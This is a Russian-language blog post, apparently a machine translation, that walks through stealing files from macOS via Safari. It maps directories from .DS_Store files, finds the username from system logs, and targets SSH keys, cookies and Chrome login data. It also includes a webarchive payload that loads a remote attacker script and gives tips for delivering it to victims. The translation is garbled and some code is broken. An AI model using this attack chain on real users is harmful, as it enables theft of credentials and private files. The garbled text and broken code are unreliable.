Как украсть данные из MacOS с помощью Safari?

IB Tree
7 min readJan 9, 2021

--

Обзор одной из известных уязвимостей MacOS

Представьте себе такую ситуацию: когда вы открываете HTML-документ, происходит что-то странное, и через некоторое время все файлы на вашем жестком диске оказываются в руках хакера. Вы думаете, это невозможно? Возможно, стоит подумать об этом еще раз.

Cтатья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.

Существует вероятность того, что субъекты угроз могут злоупотреблять некоторыми функциями современных браузеров с помощью сложной атаки, описанной ниже:

  • Пользователь открывает HTML страницу в браузере
  • Браузер считывает список файлов, доступных на компьютере пользователя.
  • Браузер считывает “чувствительные” файлы и загружает их на удаленный сервер злоумышленника. В то же время весь процесс остается невидимым для пользователя

Условно разделим атаку на два этапа:

  • Получение информации о файлах на удаленном компьютере
  • Прочитайте файлы и отправьте их на сервер злоумышленника

На первом этапе мы каким-то образом должны найти список интересующих нас файлов на компьютере пользователя. Проблема в том, что нет четкого способа сделать это. Ни один браузер не позволит вам прочитать локальный каталог ~ / и список файлов на вашем рабочем столе с HTML-страницы. Случайный поиск тоже не вариант. Хотя мы знаем несколько маршрутов, таких как,~/.ssh / id_rsa важные маршруты, в большинстве случаев это будет мало пользы.

На втором этапе, имея полный набор путей, мы должны каким-то образом выйти за пределы браузерной песочницы, прочитать локальные файлы и загрузить их на наш сервер.

Обратите внимание, что эта информация предназначена только для академических целей. IICS не несет ответственности за неправильное использование этого учебника.

Извлечение списков файлов

MacOS имеет забавный штрих. Если вы откроете каталог с файлами, операционная система создаст специальный скрытый файл: .DS_Store. В этой папке хранятся настройки представления на macOS, включая информацию о расположении окна папки, размере окна, выбранных параметрах представления (значки, список или таблица) и внешнем виде значков в окне. Другими словами, операционная система кэширует информацию о файле для быстрого отображения каталога.

В образе, который мы можем оценить. DS_Store (например, скрытый большой палец.db file on Windows), но в отличие от Windows, он также содержит имена файлов и каталогов. Просто зайдите в каталог с файлами, и операционная система сразу же создаст его .DS_Store.

Что тут такого интересного? Дело в том, что … DS_Store может сканировать и получать имена всех файлов в каталоге. Для этого подходит одноименный модуль DSStore для Python. Вот пример кода для реализации чтения .DS_Store:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
filelist = []
for i in file:
if i.filename!='.':
filelist.append(i.filename)
return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
try:
d = DSStore.open(path + name+ '/.DS_Store', 'r+')
fileresult = parse(d)
all.append(fileresult)
print(json.dumps(fileresult))
except:
pass

Сохраните этот код в a parse_ds_store.py и запустить его. В этом случае результат выглядит следующим образом:

$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

Мы можем видеть имена файлов и папок в домашнем каталоге. После распознавания вы можете запросить каждый каталог и выполнить поиск там. DS_Store и таким образом получить иерархию файлов и папок, не имея доступа к списку каталогов.

Например, мы сканируем домашнюю папку (~/DS_Store), получаем следующее содержимое:

["Backups", "Soft", "Pictures", ".ssh" ...]

Мы переходим к следующему ./Копий/. DS_Store, мы получаем:

["2017", "2016", "2015", ...]

В следующей итерации / резервные копии / 2017 / .DS_Store:

["source", "sql", "static", ...]

И так далее. Специалисты по кибербезопасности рекомендуют запомнить пару вещей:

  • Вам нужно знать имя пользователя в системе
  • То.DS_Store создается только там, где его посещает пользователь

Прогнозирование путей для конфиденциальных файлов

Что еще мы можем найти в системе пользователя? Во-первых, есть свое .ssh каталог, в который обычно загружаются закрытые ключи. Сначала мы должны запомнить эти маршруты:

  • ~/.ssh/id_rsa
  • ~/.ssh/id_rsa.Клавиша
  • ~/.ssh/id_rsa.паб
  • ~/.ssh/known_hosts
  • ~/.ssh/authorized_keys

С другой стороны, … bash_history находится в истории команд, введенных в терминал.

Сбор файлов cookie и других данных

Затем специалисты по кибербезопасности покажут вам процесс сбора файлов cookie. Прежде всего, имейте в виду, что macOS имеет предсказуемые способы хранения данных учетной записи в каталоге.

  • ~ / Библиотека / Cookies / Cookies.binarycookies
  • ~ / Библиотека / Cookies / com.Apple.Сафари.файлы cookie

Там также будут куки-файлы из Twitter, Skype и других приложений.

Давайте также возьмем данные HSTS благодаря посещенным сайтам, которые вернули заголовок HSTS.

~/Library/Cookies/HSTS.plist

Мы также будем хранить информацию о системных счетах.

~/Library/Accounts/Accounts4.sqlite

Ну, сафари-это не единственное. Обычно в пути находится несколько установленных программных файлов и конфигураций.

~/Library/Application Support/

Мы возьмем только файлы Chrome:

~/Library/Application Support/Google/Chrome/Default/Login Data

~/Library/Application Support/Google/Chrome/Default/Cookies

~/Library/Application Support/Google/Chrome/Default/History

Вы также можете покопаться, чтобы узнать, где хранятся интересные файлы из некоторых FTP / SQL-клиентов или История сообщений в любой службе мгновенных сообщений.

Получить полные пути к файлам пользователей

Мы выяснили, что можно взять с собой. Теперь давайте попробуем собрать эти файлы с помощью Safari. Например, в Chrome вы не сможете читать локальные файлы на лету с помощью JavaScript. Чтобы это сработало, Chrome сначала должен быть запущен со специальным аргументом (- disable-web-security). Safari также предупреждает, что файл:// не может работать с ним.

Однако, если HTML не был загружен из интернета, Safari более лояльно относится к этому типу запросов: отправив запрос в локальный файл с помощью XHR, мы получим его содержимое:

Благодаря этой функции, зная полный путь к файлу, мы можем загрузить его содержимое и отправить его на удаленный сервер. Но вот наименее приятная часть: как получить полный путь, если мы не знаем имя пользователя? Как вы можете заметить, здесь нет логина пользователя.

Чтобы узнать имя пользователя, мы проверяем два файла журнала, которые появляются сразу же после установки и настройки операционной системы. Это /var/log / system.log и /var / log / install.бревно. Его не будет в одном; скорее всего, он будет в другом. Мы загружаем эти файлы в браузер и используем регулярное выражение, чтобы получить имя пользователя.

Вот функция JS для извлечения имени пользователя из файлов журнала:

function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
}
}

Отправка файлов на сервер

А теперь мы объединим первую часть статьи и возможность читать файлы. Для доказательства концепции мы делаем серверную часть; мы берем путь и содержимое пользователя. Если это так .DS_Store, мы даем вам больше путей анализа.

Вы можете попробовать белый список и черный список, например, чтобы не загружать тяжелые фильмы или, наоборот, только загружать .докс.

Но что делать, если в системе установлены другие браузеры? HTML-код откроется с помощью Chrome или Firefox, и ничего не произойдет. К счастью, есть несколько расширений, которые открывают только Safari. Это XHTM и webarchive. Если с XHTM все ясно, то это веб-страница на основе XML (и вы можете запустить на ней JS), поэтому с webarchive все немного сложнее. Он имеет два формата, один из которых может быть легко изготовлен вручную:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
wvYm9keT48L2h0bWw+
</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
</dict>
</plist>

Где данные-это страница Base64 с 59 символами в каждой строке.

Шансы обойти ограничения

По умолчанию для файлов, передаваемых по сети, существует ограничение на выполнение этого кода.

Это означает, что если вы отправите файл по почте, он может не работать.

Хорошей новостью является то, что не все программы устанавливают флажок при загрузке файла.

Например, версия Telegram для macOS этого не делает). В нескольких тестах мы смогли прочитать файлы пользователя с “вредоносным” файлом XHTM, переданным через настольную версию Telegram для macOS, и без защиты файлов или пароля.

Вероятно, вы можете найти и другие примеры. И, конечно же, готовый файл может быть передан жертве на физическом носителе во время социально-технического теста.

В настоящее время нет никакой защиты от этой атаки, поэтому остается только рекомендовать пользователям быть максимально осторожными при загрузке материалов из интернета (кроме того, рекомендуется не использовать браузер Safari). Из-за особенностей этой атаки Apple не считает это уязвимостью, поэтому патчи, скорее всего, не будут выпущены.

Хочешь научиться большему? Записывайся на индивидуальное обучение.

Не забудь подписаться на наш канал!

--

--

IB Tree
IB Tree

Written by IB Tree

Киберкриминалистика; Offensive security; Red teaming; OSINT; Обучение; Инсайты, опыт и lifestyle. 🏴‍☠️ t.me/ib_tree

No responses yet